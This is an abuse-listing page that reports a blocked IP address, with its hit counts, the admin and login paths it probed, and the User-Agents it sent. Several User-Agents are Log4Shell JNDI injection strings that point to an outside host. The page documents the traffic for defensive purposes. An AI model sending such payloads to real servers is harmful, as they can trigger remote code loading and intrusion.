abuseip.org
- Reason
- suspicious paths across 1 domains
- Hits (last hour)
- 44
- Unique targets hit
- 8
- Unique paths probed
- 5,924
- Detection count
- 14
- First seen
- 2026-07-23 14:29:41 UTC
- Last seen
- 2026-07-23 14:57:17 UTC
- Block expires
- 2026-07-24 15:48:22 UTC
Sample paths probed
- /menu.html
- /RadPortal/login.aspx?ReturnUrl=%2fRadPortal%2fdefault.aspx
- /portal/loginpage.aspx
- /language/en-GB/langmetadata.xml
- /cgi-bin/cstecgi.cgi
- /admin
- /CGI/Java/Serviceability?adapter=device.statistics.device
- /register
- /login
- /system/login
- /val/rel/
- /vappmgr/app/productInfo.json
- /api/v1/version
- /owa/auth/logon.aspx
- /
- /admin/config.php
- /xwiki/rest
- /login?from=%2F
- /relianceprd/rel/
- /data/export
Sample User-Agents
- ${jndi:dns://3.124.135.218:41427/QUALYSTEST}
- Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
- Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
- Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0
- ${jndi:ldap://3.124.135.218:39879/QUALYSTEST}
- gSOAP/2.8
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0
- curl/7.47.0
- Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
- Mozilla/5.0 (Windows NT 6.1; rv:60.0) Gecko/20100101 Firefox/60.0
- Java/1.8.0_102
- curl/7.29.0
- Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
- ${jndi:iiop://3.124.135.218:40455/QUALYSTEST}
- curl/7.55.1
- Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14)
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0
- Java/1.8.0_161
- Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
What does this mean?
This address sent traffic that the redirs.com edge classified as automated abuse — typically WordPress/PHP exploit scanning, credential file probing (.env, .git, .aws/), or mass-domain enumeration. The block is automatic and time-limited (24 hours from last detection).
If you believe this is a false positive, contact [email protected] with the IP and the timestamps above.